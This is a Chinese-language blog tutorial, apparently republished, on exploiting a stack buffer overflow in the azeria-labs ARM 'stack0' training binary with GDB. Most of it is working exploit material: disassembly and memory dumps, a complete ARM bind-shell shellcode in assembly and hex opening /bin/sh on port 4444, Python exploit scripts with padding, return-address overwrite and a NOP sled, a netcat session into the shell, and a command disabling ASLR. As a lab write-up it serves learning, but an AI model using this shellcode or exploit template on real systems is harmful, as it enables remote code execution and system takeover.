ARM汇编之堆栈溢出实战分析一(GDB)

ARM漏洞利用技术五--堆溢出 目录预备知识1.关于ARM实验目的实验环境实验步骤一实验步骤二实验步骤三 预备知识 1.关于ARM ARM架构,过去称作高级精简指令集机器(英语:Advanced RISC Machine,更早称作Acorn精简指令集机器,Acorn RISC Machine),是一个精简指令集(RISC)处理器架构家族,其广泛地使用在许多嵌入式系统设计。由于节能的特点,其在其他领域上也有很多作为。ARM处理器非常适用于移动通信领域,匹配其主要设计目标为低成本、高性能、低耗电的特性。 实验目的 通过该实验了解堆溢出,包括i 阅读详情

转自:安全课传送门

引言

经过很长一段时间在azeria-labs进行的ARM基础汇编学习,学到了很多ARM汇编的基础知识、和简单的shellcode的编写,为了验证自己的学习成果,根据该网站提供的实例,做一次比较详细的逆向分析,和shellcode的实现,为自己的ARM入门学习巩固。

实例下载地址:git clone https://github.com/azeria-labs/ARM-challenges.git
调试环境:Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1(这些都是按照网站教程安装的如果自己有ARM架构的操作系统也是可以的)

stack0

第一步,我们先看看文件的信息file stack0,从返回信息可以看出该程序是一个32位可执行程序,从最后的not stripped可以看出这个程序的符号信息,具体有关stripped详细介绍可以百度

stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8, not stripped

下面我们给他执行权限chmod +x stack0,然后执行它,会发现需要你的输入,表明这里使用了gets、scanf之类的输入方法,这些方法存在的地方就有溢出的风险,我们尝试构造一长一短的字符串,来测试一下。
短的字符串输出的让你重试的字样。
长的字符串,明显可以看出我们输入的值更改了变量导致,并且覆盖了返回地址,导致抛出Segmentation fault(访问了不可访问的内存,这个内存要么是不存在的,要么是受系统保护的)异常

13671484-51362725fa24e0d3.png
1.png

分析出它存在溢出漏洞,现在我们就需要进入他的内部世界,彻底的洞悉它
首先我们需要找到他的入口函数,因为他没有删除符号数据,我们直接执行nm stack0,可以看到入口点、调用的库函数等信息,很明显入口点应该是main函数,我们来gdb走一波

         U abort@@GLIBC_2.4
00020684 B __bss_end__
00020684 B _bss_end__
00020680 B __bss_start
00020680 B __bss_start__
00010360 t call_weak_fn
00020680 b completed.9004
00020678 D __data_start
00020678 W data_start
00010384 t deregister_tm_clones
000103ec t __do_global_dtors_aux
00020564 t __do_global_dtors_aux_fini_array_entry
0002067c D __dso_handle
0002056c d _DYNAMIC
00020680 D _edata
00020684 B _end
00020684 B __end__
00010510 T _fini
00010414 t frame_dummy
00020560 t __frame_dummy_init_array_entry
0001055c r __FRAME_END__
         U gets@@GLIBC_2.4
00020654 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
000102c8 T _init
00020564 t __init_array_end
00020560 t __init_array_start
00010518 R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
00020568 d __JCR_END__
00020568 d __JCR_LIST__
         w _Jv_RegisterClasses
0001050c T __libc_csu_fini
000104a8 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.4
0001044c T main
         U puts@@GLIBC_2.4
000103b4 t register_tm_clones
00010324 T _start
00020680 D __TMC_END__

gdb stack0
gef>disas stack0,我们可以看见得到main函数的反汇编代码,但是有一点不爽的是一些库函数API名称没
有显示出来,这里提供两种解决思路:

  • 升级gdb版本(百度、google找教程,我升级到8.2版本是可以显示的。这里有点奇怪的是,我的版本已经很高了,但是对这个二进制文件还是不能识别库函数并显示并且stripped前后都显示不了,但是对于有些二进制文件它又可以显示,如果有大佬知道,希望在评论里帮助解惑一下,thanks)
  • objdump 了解一下,这里我主要用的是objdump
Dump of assembler code for function main:
   0x0001044c <+0>: push    {r11, lr}
   0x00010450 <+4>: add r11, sp, #4
   0x00010454 <+8>: sub sp, sp, #80 ; 0x50
   0x00010458 <+12>:    str r0, [r11, #-80] ; 0x50
   0x0001045c <+16>:    str r1, [r11, #-84] ; 0x54
   0x00010460 <+20>:    mov r3, #0
   0x00010464 <+24>:    str r3, [r11, #-8]
   0x00010468 <+28>:    sub r3, r11, #72    ; 0x48
   0x0001046c <+32>:    mov r0, r3
   0x00010470 <+36>:    bl  0x102e8
   0x00010474 <+40>:    ldr r3, [r11, #-8]
   0x00010478 <+44>:    cmp r3, #0
   0x0001047c <+48>:    beq 0x1048c <main+64>
   0x00010480 <+52>:    ldr r0, [pc, #24]   ; 0x104a0 <main+84>
   0x00010484 <+56>:    bl  0x102f4
   0x00010488 <+60>:    b   0x10494 <main+72>
   0x0001048c <+64>:    ldr r0, [pc, #16]   ; 0x104a4 <main+88>
   0x00010490 <+68>:    bl  0x102f4
   0x00010494 <+72>:    mov r0, r3
   0x00010498 <+76>:    sub sp, r11, #4
   0x0001049c <+80>:    pop {r11, pc}
   0x000104a0 <+84>:    andeq   r0, r1, r12, lsl r5
   0x000104a4 <+88>:    andeq   r0, r1, r8, asr #10
End of assembler dump.

objdump打印的结果,下面省略了一些显示,把主要分析的部分放出来,并且可以看到所有区段的反汇编代码和地址,这样我们对照着这个输出信息,即可

stack0:     file format elf32-littlearm


Disassembly of section .init:

000102c8 <_init>:
   102c8:   e92d4008    push    {r3, lr}
   102cc:   eb000023    bl  10360 <call_weak_fn>
   102d0:   e8bd8008    pop {r3, pc}

Disassembly of section .plt:

000102d4 <gets@plt-0x14>:
   102d4:   e52de004    push    {lr}        ; (str lr, [sp, #-4]!)
   102d8:   e59fe004    ldr lr, [pc, #4]    ; 102e4 <_init+0x1c>
   102dc:   e08fe00e    add lr, pc, lr
   102e0:   e5bef008    ldr pc, [lr, #8]!
   102e4:   00010370    .word   0x00010370

000102e8 <gets@plt>:
   102e8:   e28fc600    add ip, pc, #0, 12
   102ec:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   102f0:   e5bcf370    ldr pc, [ip, #880]! ; 0x370

000102f4 <puts@plt>:
   102f4:   e28fc600    add ip, pc, #0, 12
   102f8:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   102fc:   e5bcf368    ldr pc, [ip, #872]! ; 0x368

00010300 <__libc_start_main@plt>:
   10300:   e28fc600    add ip, pc, #0, 12
   10304:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10308:   e5bcf360    ldr pc, [ip, #864]! ; 0x360

0001030c <__gmon_start__@plt>:
   1030c:   e28fc600    add ip, pc, #0, 12
   10310:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10314:   e5bcf358    ldr pc, [ip, #856]! ; 0x358

00010318 <abort@plt>:
   10318:   e28fc600    add ip, pc, #0, 12
   1031c:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10320:   e5bcf350    ldr pc, [ip, #848]! ; 0x350

Disassembly of section .text:

00010324 <_start>:
   10324:   e3a0b000    mov fp, #0
   10328:   e3a0e000    mov lr, #0
   1032c:   e49d1004    pop {r1}        ; (ldr r1, [sp], #4)
   10330:   e1a0200d    mov r2, sp
   10334:   e52d2004    push    {r2}        ; (str r2, [sp, #-4]!)
   10338:   e52d0004    push    {r0}        ; (str r0, [sp, #-4]!)
   1033c:   e59fc010    ldr ip, [pc, #16]   ; 10354 <_start+0x30>
   10340:   e52dc004    push    {ip}        ; (str ip, [sp, #-4]!)
   10344:   e59f000c    ldr r0, [pc, #12]   ; 10358 <_start+0x34>
   10348:   e59f300c    ldr r3, [pc, #12]   ; 1035c <_start+0x38>
   1034c:   ebffffeb    bl  10300 <__libc_start_main@plt>        ;这个库函数获取了main函数的地址,开启了main函数的执行流程
   10350:   ebfffff0    bl  10318 <abort@plt>
   10354:   0001050c    .word   0x0001050c
   10358:   0001044c    .word   0x0001044c               ;很明显这是main函数的地址
   1035c:   000104a8    .word   0x000104a8
...............

0001044c <main>:
   1044c:   e92d4800    push    {fp, lr}
   10450:   e28db004    add fp, sp, #4
   10454:   e24dd050    sub sp, sp, #80 ; 0x50
   10458:   e50b0050    str r0, [fp, #-80]  ; 0xffffffb0
   1045c:   e50b1054    str r1, [fp, #-84]  ; 0xffffffac
   10460:   e3a03000    mov r3, #0
   10464:   e50b3008    str r3, [fp, #-8]
   10468:   e24b3048    sub r3, fp, #72 ; 0x48
   1046c:   e1a00003    mov r0, r3
   10470:   ebffff9c    bl  102e8 <gets@plt>
   10474:   e51b3008    ldr r3, [fp, #-8]
   10478:   e3530000    cmp r3, #0
   1047c:   0a000002    beq 1048c <main+0x40>
   10480:   e59f0018    ldr r0, [pc, #24]   ; 104a0 <main+0x54>
   10484:   ebffff9a    bl  102f4 <puts@plt>
   10488:   ea000001    b   10494 <main+0x48>
   1048c:   e59f0010    ldr r0, [pc, #16]   ; 104a4 <main+0x58>
   10490:   ebffff97    bl  102f4 <puts@plt>
   10494:   e1a00003    mov r0, r3
   10498:   e24bd004    sub sp, fp, #4
   1049c:   e8bd8800    pop {fp, pc}
   104a0:   0001051c    .word   0x0001051c
   104a4:   00010548    .word   0x00010548
..............

下面进行逐步分析:

  1. 保存了当前栈帧的返回地址和上一个栈帧的帧地址。
    将帧指针r11指向当前栈帧顶部的返回地址
    压栈操作,压入大小为80字节的空间,为变量、参数准备的临时存放空间。
    将r0, r1进行入栈操作,并且放在栈顶的位置,这是上一个栈帧的变量,我们需要保护起来。
   0x0001044c <+0>: push    {r11, lr}
   0x00010450 <+4>: add r11, sp, #4
   0x00010454 <+8>: sub sp, sp, #80 ; 0x50
   0x10458 <main+12>        str    r0,  [r11,  #-80]    ; 0x50
  1. 给r3寄存器赋0值,然后将r3内的0存放到r11-8内存地址指向的空间,这个地址是临着上一个栈帧的帧指针r11-4(r11是当前栈帧的帧指针,指向当前栈帧顶部,顶部存放着返回地址)
      0x1045c <main+16>        str    r1,  [r11,  #-84] ; 0x54
      0x10460 <main+20>        mov    r3,  #0
      0x10464 <main+24>        str    r3,  [r11,  #-8]
  1. 将r11-0x48(0xbefff0e4)的地址通过r3赋值给r0,然后作为参数传进gets函数中执行,这个函数会将用户输入的内容,存放到0xbefff0e4这个地址空间中
->   0x10468 <main+28>        sub    r3,  r11,  #72 ; 0x48,上一个指针的两个变量存储用了8字节空间,刚好从r11-72的地址开始给当前栈帧的
                                                    ;参数使用
      0x1046c <main+32>        mov    r0,  r3
      0x10470 <main+36>        bl     0x102e8 <gets@plt>
  1. 开始输入字符串,测试溢出
    下面显示地址空间存储的值,0xbefff0e4地址是存放用户输入字符串开始的位置,下面我们尝试输入不同的字符来看下面这些地址存放的值的变化
gef> x/19x 0xbefff0e4
0xbefff0e4: 0xb6ffbfc4  0x00000003  0xb6e77be8  0x00000000
0xbefff0f4: 0xb6e779f8  0xbefff130  0xb6fd618c  0x00000000
0xbefff104: 0x00000000  0x00010414  0x000104f8  0xb6fb2ba0
0xbefff114: 0x000104a8  0x00000000  0x00010324  0x00000000
0xbefff124: 0x00000000  0x00000000  0xb6e8c294

尝试输入4个1后的结果输出,很明显0xb6ffbfc4 0x00000003中前四个字节被0x31313131(1的16进制)覆盖了,0x00000003这个值内的03被gets函数默认用0x00覆盖用来标志字符串的结尾

gef> x/19x 0xbefff0e4
0xbefff0e4: 0x31313131  0x00000000  0xb6e77be8  0x00000000
0xbefff0f4: 0xb6e779f8  0xbefff130  0xb6fd618c  0x00000000
0xbefff104: 0x00000000  0x00010414  0x000104f8  0xb6fb2ba0
0xbefff114: 0x000104a8  0x00000000  0x00010324  0x00000000
0xbefff124: 0x00000000  0x00000000  0xb6e8c294

下面我们直接输入足够的长度,一直到返回地址处,根据上面的sub r3, r11, #72语句,将r11-72出作为存放用户输入的初始地址,可以知道,输入的长度至少72,这样0xb6e8c294最低位94会被00覆盖,下面我们进行输入72个1的覆盖,很明显我们如我们所料。(可以多输入几个字符完全覆盖,因为只覆盖最低位两个字符,可能依然会存在该地址,而导致不能实现程序的崩溃)

0xbefff0e4: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff0f4: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff104: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff114: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff124: 0x31313131  0x31313131  0xb6e8c200
  1. 最后一步---shellcode。构造一个shellcode来利用这个溢出漏洞,最一个完美的结尾。具体shellcode编写可以参考我的另一篇文章:https://www.jianshu.com/p/16f1c9fe8541
    shellcode代码---BindShell
.section .text

.global _start
_start:
    .code 32
    //arm set switch thumb set
    add r3, pc, #1
    bx r3

    .code 16
    //create a socket 
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #81 
    svc #1  
    
    //bind local address
    mov r4, r0
    adr r1, local_addr
    strb r2, [r1, #1]
    strh r2, [r1, #4]
    nop
    strb r2, [r1, #6]
    strb r2, [r1, #7]
    mov r2, #16
    add r7, #1
    svc #1
    

    //start listen,wait for connection
    mov r0, r4
    mov r1, #2
    add r7, #2
    svc #1

    //accept first connection
    mov r0, r4
    eor r1, r1, r1
    eor r2, r2, r2
    add r7, #1
    svc #1
    mov r4, r0
    
    //change stdin/stdout/stderr to /bin/sh
    mov r0, r4
    sub r1, r1, r1
    mov r7, #63
    svc #1

    mov r0, r4
    mov r1, #1
    svc #1
    
    mov r0, r4
    mov r1, #2
    svc #1

    //execve("/bin/sh")
    adr r0, bin_sh
    eor r1, r1, r1
    eor r2, r2, r2
    strb r2, [r0, #7]
    mov r7, #11
    svc #1

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

bin_sh:
.ascii "/bin/shX"

hexdump -v -e '"\\""x" /1 "%02x" ""' bindshell.bin生成十六进制的shellcode
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

写好shellcode之后,我们需要找到合适的位置,存放好shellcode保证程序可以正常执行shellcode,根据上面的分析,可以得到返回地址0xb6e8c294存放的内存地址是0xbefff124+8=0xbefff12c,而我们溢出的数据会一直向栈空间下面延伸,所以我们可以将返回地址改成0xbefff12c+4的位置,这样就会执行到后面的shellcode代码

0xbefff124: 0x00000000  0x00000000  0xb6e8c294

第一步:现将返回地址覆盖为0xbefff130,这里我使用python脚本来实现填充字符、和返回地址的覆盖。然后python poc.py >exp,把shellcode写入exp文件,在gdb里使用r < exp命令,把exp文件作为输入,来执行stack0文件。可以看到r11指向的返回地址,存储的值刚好是下一个栈地址

poc.py

port struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//把0xbefff130转成字符串,格式为`I`unsigned int(四字节长度刚好)
return_addr = struct.pack("I", 0xbefff130)

print padding + return_addr

结果:

0xbefff128|+0x0000: 0x31313131  <-$sp
0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20  <-$r11
0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20

然后在python脚本内再添加shellcode后,完整的脚本如下:

import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + payload

当我们使用gdb运行r < exp调试的时候,查询端口可以看见,4444端口已经开始侦听,exp成功执行

tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN 

这个时候我们使用nc -vv 127.0.0.1 4444,远程连接,客户端和服务端成功连接上,执行命令也成功返回
客户端返回:

pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
pi
ps
  PID TTY          TIME CMD
  572 pts/0    00:00:33 bash
 6522 pts/0    00:00:06 gdb
 6526 pts/0    00:00:00 sh
 6534 pts/0    00:00:00 ps

服务端返回结果,显示开启了一个新的进程来运行/bin/sh

gef> r < exp
Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp
you have changed the 'modified' variable
process 6526 is executing new program: /bin/dash
  1. 环境变量的影响---NOP技术,生成新进程的问题
    针对第6步的调试成功之后,当我们直接运行./stack0 <exp的时候,返回错误如下。所以我们单开最后一个步骤,来处理出现的问题。这个问题主要的原因就是栈内环境变量不同导致栈发生了小幅度的偏移,影响了shellcode的位置。
    you have changed the 'modified' variable
    Segmentation fault

我们使用gdb /home/pi/Desktop/ARM-challenges/stack0和gdb ./stack0来调试完整路径下的程序,并且在执行shellcode前设置断点,并且定义hook-stop来在执行断点前打印栈数据,运行r<exp后观察返回的栈数据,很明显栈数据发生了很大的变化

gef> define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/8wx $sp
>end

返回栈数据结果

gdb ./stack0
0xbefff128: 0x31313131  0xbefff130  0xe28f3001  0xe12fff13
0xbefff138: 0x21012002  0x27c81a92  0xdf013751  0xa1111c04


gdb /home/pi/Desktop/ARM-challenges/stack0
0xbefff138: 0x00000000  0xb6e8c294  0xb6fb1000  0xbefff294
0xbefff148: 0x00000001  0x0001044c  0xb6ffe0b8  0xb6ffddc0

下面尝试打印1000行栈数据x/1000s $sp,观察不同,具体不同的地方就是存放环境变量的地方,如下所示,地址0xbefffcdd的数据还是相同的,但是因为pwd变量的长度不一致,导致了需用用更多的栈空间存储多余的数据,所以从这往后,栈内数据发生了变化

gdb ./stack0的输出
0xbefffc8c: "_=/usr/bin/gdb"
0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"
0xbefffcdd: "LANG=en_GB.UTF-8"


gdb /home/pi/Desktop/ARM-challenges/stack0的输出
0xbefffc9b: "_=/usr/bin/gdb"
0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcc8: "PWD=/home/pi/Desktop"
0xbefffcdd: "LANG=en_GB.UTF-8"

具体解决方案:

  • 执行前删除环境变量
shell$ env -i ./stack0
(gdb) unset env
  • NOP:使用NOP滑到我们的shellcode处,然后我们将加入100个NOP到shellcode中,下面这个python脚本才是最终的脚本!
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + "\x90"*100 + payload

至此我们解决了环境变量引起的栈数据移动问题,当我们在次执行./stack0 < exp

you have changed the 'modified' variable
Segmentation fault

由这个问题引入一个概念ASLRAddress Space Layout Randomization,地址空间布局随机化
Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下。更详细的介绍大家百度

  • 0:没有随机化。即关闭 ASLR。
  • 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
  • 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化
    这里我们使用命令来改变这个值:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

下面就是见证奇迹的时候了:


13671484-c5cba01e62ff381e.png
shellcode执行成功

小结

至此本篇paper基本完成,这个实例其实是很入门的东西,但是整套流程坐下来,却很有意义,希望给大家一些帮助。当然,过程中遇见了很多的问题,学习的路上很枯燥,我们需要耐着性子稳步前行,做完这个例子我收获了很多,感谢自己、也感谢帮我的优秀老铁:大毛腿

附录文章:
[1] ARM汇编学习网站https://azeria-labs.com/writing-arm-assembly-part-1/
[2] 实战样本下载地址https://github.com/azeria-labs/ARM-challenges.git
[3] shellcode学习编写地址https://www.jianshu.com/p/16f1c9fe8541
[4] 在溢出中使用shellcode教程https://www.youtube.com/98c2a1d3-3d69-4931-9f27-bd457a464f38

ubuntu下使用gdb调试程序(栈溢出) 在linux下发生段错误时会生成core dump核心转储文件里面记录了发生段错误时的函数调用关系。 在ubuntu上默认的栈空间大小为8192kb应用程序的栈超过这个值就会发生段错误,可以通过命令ulimit -s来查看栈的大小。 //test1 #include <stdio.h> #include <unistd.h> #include <string.h> void call_fault(void) { char array[9 * 1024 * 1024] 阅读详情

相关推荐

arm栈溢出

博客地址 静态编译的arm栈溢出,我也是第一次做arm,主要需要解决动态调试的问题。 题目地址 arm基础知识 r0,r1,r2,r3为前四个参数,在多余的参数依次压栈。 pc为程序下一条指令地址,相当于x86汇编里的eip。 环境配置 qemu,用来模拟arm环境 如图,可以运行arm程序 gdb-multiarch,用来调试arm架构程序 动态调试 1.qemu-arm -g 1234 ./...

starssgo的博客 2645

二、单片机——栈溢出监测

单片机主要是由内核、外设、总线、内存等部分组成,目前市场上主流的32位单片机大多数为 ARM内核的CortexM 系列的单片机,例如STM32F103、STM32F407、GD32F103等等。: 通用寄存器,可进行数据的加载:栈指针(SP),用于对栈空间的存取操作(通过PUSH和POP指令),CrortexM0、CrortexM3在不用物理地址位置上存在两个栈指针,主站指针(MSP,为上电后的默认指针,用于异常处理)和进程栈指针(PSP,主要用于操作系统线程)

mochen_32的博客 3768

STM32 HardFault硬件错误调试全攻略:从原理到实战解决内存访问与堆栈溢出

在嵌入式系统开发中,内存访问违规和堆栈溢出是导致程序崩溃的常见根源,尤其在基于ARM Cortex-M内核的微控制器(如STM32)中,这类错误常以HardFault(硬件错误)的形式出现。HardFault是处理器检测到无法处理的严重违规操作时触发的最高优先级异常,其本质是程序执行触犯了CPU的底层保护规则,例如访问非法内存地址或执行未定义指令。理解其原理对于构建稳定可靠的嵌入式系统至关重要,它能帮助开发者从底层掌握系统运行状态,快速定位深层次缺陷。在工程实践中,通过解析状态寄存器、设置内存保护单元(MP

快马扬鞭须努力! 480

[原理分析]Linux下的栈溢出案例分析-GDB调试操练[2]

摘要: 原来的版本:http://blog.youkuaiyun.com/bigbug_zju/article/details/39892129 原版本中的问题主要在于调试过程中,蛮力的痕迹太重,没有很好地体现常用的调试准则;本文在原版本的基础上,融入参考文献中提及的调试原则,重新审视和操练该问题,希望尽量体现出调试中常用的思维法则。

bigbug_zju的专栏 1918

从固件分析到高危漏洞挖掘:腾达路由器堆栈溢出实战

缓冲区溢出是计算机安全领域一个经典且危害巨大的漏洞类型,其原理在于程序向固定大小的缓冲区写入超出其容量的数据,导致相邻内存区域被覆盖。在C/C++等语言中,使用strcpy、strcat等不安全的字符串函数而未进行边界检查,是引发此类漏洞的常见原因。这种漏洞的技术价值在于,攻击者通过精心构造的输入数据,可以覆盖函数返回地址或关键变量,从而劫持程序执行流程,实现远程代码执行(RCE),完全控制目标系统。在嵌入式设备和物联网(IoT)领域,由于历史代码遗留、资源限制和安全意识薄弱,缓冲区溢出问题尤为普遍。本文以

dengkuituo0680的博客 418

通过PC 指针、反汇编工具定位设备运行现场的方法

查看ambiq 平台 apollo4 blue plus的运行现场,怎样通过Jlink commander 反汇编工具、通过堆栈指针、程序计数器等查看当前设备的运行现场,请详细介绍下方法,最好有指导例程。若需进一步优化调试流程,建议结合IDE(如Keil或VSCode+GDB)进行源码级调试。Cortex-M 设备的指令地址通常是 2 或 4 字节对齐的,若反汇编结果出现非对齐指令,可能是数据段被误解析。工具(属于 GNU 工具链的一部分)可以反汇编 ARM Cortex-M 设备的固件文件(如。

Lin的博客 1169

arm linux 堆栈大小,ARM汇编之堆栈溢出实战分析一(GDB)

转自:安全课传送门引言经过很长一段时间在azeria-labs进行的ARM基础汇编学习,学到了很多ARM汇编的基础知识、和简单的shellcode的编写,为了验证自己的学习成果,根据该网站提供的实例,做一次比较详细的逆向分析,和shellcode的实现,为自己的ARM入门学习巩固。实例下载地址:git clone https://github.com/azeria-labs/ARM-challen...

weixin_30394975的博客 890

GDB调试实战:从“corrupt stack”到精准定位堆栈损坏的根源

本文详细解析了GDB调试中遇到的'corrupt stack'问题,从堆栈损坏的原理分析到实战调试技巧,涵盖了ARM和x86架构下的堆栈取证方法、工具链配置要点及供应商协作策略。通过具体案例展示了如何使用GDB命令和内存检查工具定位堆栈损坏根源,并提供了编译期防护和运行时检测的解决方案。

weixin_27066963的博客 362

堆栈 cookie 检测代码检测到基于堆栈的缓冲区溢出_写给初学者的IoT实战教程之ARM栈溢出...

本文面向入门IoT固件分析的安全研究员,以一款ARM路由器漏洞为例详细阐述了分析过程中思路判断,以便读者复现及对相关知识的查漏补缺。假设读者:了解ARM指令集、栈溢出的基础原理和利用方法、了解IDA、GDB的基础使用方法,但缺少实战漏洞分析经验。阅读本文后:可以知道IoT固件仿真的基础方法及排错思路。可以知道对ARM架构栈溢出漏洞的利用和调试方法。1.实验目标概述为了便于实验,选择一个...

weixin_39834205的博客 1477

堆栈溢出调试-gdb-例子

通过列举linux平台下的例子,并结合gdb描述了堆栈溢的过程。

ROS入门必学导航算法——Navigation

该平台集成了多款无人车底盘,包括履带式、四轮差速、阿克曼、麦克纳姆轮底盘等,以满足不同形式和配置的需求,并搭载了RTK定位系统、双目相机、深度相机和激光雷达等多种传感器,以满足开发者的科研需求。amcl节点接收里程计数据(通过"odom"话题)和激光雷达数据(通常通过"scan"话题),结合已知的地图,实时地估计出机器人在该地图上的位置。在ROS中,这是通过"tf库"变换实现的,通过将传感器数据转换到共同的参考系中,系统可以更容易地集成来自不同传感器的数据,并确保它们在相同的空间和时间范围内可用。

AMOVLAB(阿木实验室) 2910

从C代码看ARM寄存器:编译器如何操作SP/PC/LR?手把手反汇编分析

本文通过反汇编分析C代码在ARM架构下的编译过程,深入解析编译器如何操作SP(堆栈指针)、PC(程序计数器)和LR(链接寄存器)这三个核心寄存器。结合具体函数调用、栈帧构建及叶子函数优化等案例,揭示了函数调用、参数传递与现场保护恢复的底层机制,帮助开发者理解程序运行原理并编写高效代码。

silver的专栏 839

海康威视摄像头CVE-2017-7921漏洞复现:从零到一的实战指南(含解密工具下载)

本文详细解析了海康威视摄像头CVE-2017-7921漏洞的技术原理与复现方法,提供从环境搭建到实战利用的完整指南。通过认证绕过漏洞,攻击者可获取敏感信息并执行高权限操作,文章还包含解密工具下载与防御建议,助力安全研究人员深入理解物联网设备安全风险。

weixin_29325515的博客 817

嵌入式系统那些事-文件视角下的arm汇编

0 背景 上一篇文章我们从指令集的视角解读arm架构,本篇从指令集组成的汇编文件入手对arm架构进行解读。汇编是跟体系结构强相关的一种编程语言,现在实际开发中比较少用汇编直接进行开发,更多的是在定位诸如踩内存等问题时,才会进行反汇编操作,此时就需要知道简单的arm架构下的汇编文件结构和语法,才能更快地抓住汇编文件中的关键信息。本文首先从文件的视角,列举出汇编文件中重要的元素和应用场景;然后从整个文件转化流程的视角,总结了哪些文件可以转成汇编语言,转化后的差异在哪里,得到基本的arm汇编文件...

linus_ben的博客 2656

寒假实训笔记day01——认识M4单片机之STM32F405RGT6

认识M4单片机之STM32F405RGT6(含义、规格、参数)

weixin_47200070的博客 8551

从STM32转战STC32G?逐飞开源库帮你快速上手GPIO、PWM与ADC(避坑指南)

本文详细介绍了从STM32迁移到STC32G32K128的开发实践,重点解析了GPIO、PWM和ADC等基础外设的设计差异,并提供了基于逐飞开源库的高效应用方案。通过对比两种平台的开发工具和操作方式,帮助开发者快速上手STC32G,避免常见陷阱,提升开发效率。

weixin_30316097的博客 532

嵌入式开发中段错误的成因分析与GDB调试实战

段错误(Segmentation Fault)是程序访问非法内存区域时触发的硬件异常,在Linux系统中表现为SIGSEGV信号。这类错误在嵌入式开发中尤为常见,主要源于内存管理不当、指针操作错误或硬件访问异常。理解内存管理原理和调试技术对定位段错误至关重要。GDB调试器通过回溯调用栈、检查变量状态等功能,能有效分析程序崩溃点。在嵌入式环境中,还需考虑交叉调试、Core文件分析等特殊场景。掌握这些调试技术能显著提升解决段错误的效率,是嵌入式工程师必备的核心技能。

weixin_35757191的博客 556

DBeaver连接IoTDB避坑指南:手动配置JDBC驱动的完整流程(附问题排查)

